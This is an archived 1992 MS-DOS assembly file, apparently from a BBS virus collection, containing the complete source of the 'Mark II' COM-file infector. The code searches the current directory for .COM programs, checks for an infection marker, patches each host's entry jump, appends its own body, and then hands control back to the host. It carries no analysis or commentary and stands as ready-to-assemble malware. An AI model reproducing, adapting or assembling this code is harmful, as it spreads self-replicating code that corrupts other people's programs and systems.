home
***
CD-ROM
|
disk
|
FTP
|
other
***
search
/
The Unsorted BBS Collection
/
thegreatunsorted.tar
/
thegreatunsorted
/
live_viruses
/
virus_collections
/
markii.asm
< prev
next >
Wrap
Assembly Source File
|
1992-06-05
|
3KB
|
210 lines
PAGE,120
_VIRUS SEGMENT
ASSUME cs:_VIRUS,ds:_VIRUS,ss:_VIRUS
ORG 100h
filelength EQU begin-start
start: db 0E9h
dw filelength+4-3
mov cx,lmessage
mov dx, OFFSET message
mov ah, 40h
int 21h
mov ah,4Ch
int 21h
message: db "Mark II virus launched successfully.",0Dh,0Ah,0
lmessage EQU $-message
virlength EQU finish-begin+102h
begin: db 0BBh,01,00
db 00
virusbegin: mov bp,101h
mov bx, WORD PTR [bp]
add bx,103h
mov bp,100h
mov dl,[bx-4]
mov [bp],dl
mov dl,[bx-3]
mov [bp+1],dl
mov dl,[bx-2]
mov [bp+2],dl
push bx
jmp sfirst
wildcard: db "*.COM",0
sfirst: mov ah,4Eh
pop dx
push dx
add dx,wildcard-virusbegin
mov cx,0
int 21h
jnc over1
jmp payload
over1: mov bx,80h+1Ah
mov ax,virlength
add ax,[bx]
jno checkinfect
jmp snext
checkinfect:
fileopen: mov ah,3Dh
mov al,02
mov dx,80h+1Eh
int 21h
jnc opened
jmp snext
opened: push ax
mov ah,42h
mov al,02
pop bx
push bx
mov cx,0FFFFh
mov dx,0FFFCh
int 21h
jnc over3
jmp closefile
over3: mov ah,3Fh
pop bx
pop dx
push dx
push bx
add dx,-4
mov cx,4
int 21h
jnc over4
jmp closefile
over4: pop bx
pop bp
push bp
push bx
mov bh,[bp-4]
mov bl,[bp-3]
xor bx,0001h
jnz over5
over4a: mov bh,[bp-2]
mov bl,[bp-1]
xor bx,0FFE0h
jnz over5
jmp closefile
over5: mov ah,42h
pop bx
push bx
mov al,00
mov cx,0
mov dx,0
int 21h
jnc over6
jmp closefile
over6: mov ah,3Fh
pop bx
pop dx
push dx
push bx
add dx,-4
mov cx,3
int 21h
mov al,0
add dx,3
mov bp,dx
mov [bp],al
mov ah,42h
pop bx
push bx
mov al,00
mov cx,0
mov dx,0
int 21h
jnc past
jmp closefile
tempbuf: db 0E9h,0,0
past: pop bx
pop bp
push bp
push bx
mov si,80h+1Ah
mov ax,[si]
xchg ah,al
sahf
xchg ah,al
jnc noadd
add ax,1
noadd: add ax,1
add bp,tempbuf-virusbegin
mov [bp+1],al
mov [bp+2],ah
mov dx,bp
mov ah,40h
mov cx,3
int 21h
mov ah,42h
mov al,02
mov cx,0
mov dx,0
pop bx
push bx
int 21h
mov bp,80h+1Ah
mov ax,[bp]
and ax,1
jz skip
mov ah,40h
pop bx
pop bp
push bp
push bx
add bp,-1
mov dx,bp
mov cx,1
mov [bp],ch
int 21h
skip: mov ah,40h
mov cx,finish-begin
pop bx
pop dx
push dx
push bx
add dx,-4
int 21h
pop bx
mov ah,3Eh
int 21h
jmp payload
closefile: pop bx
mov ah,3Eh
int 21h
snext: mov ah,4Fh
int 21h
jc payload
jmp fileopen
payload: nop
pop bp
mov ax,100h
jmp ax
finish:
_VIRUS ENDS
END start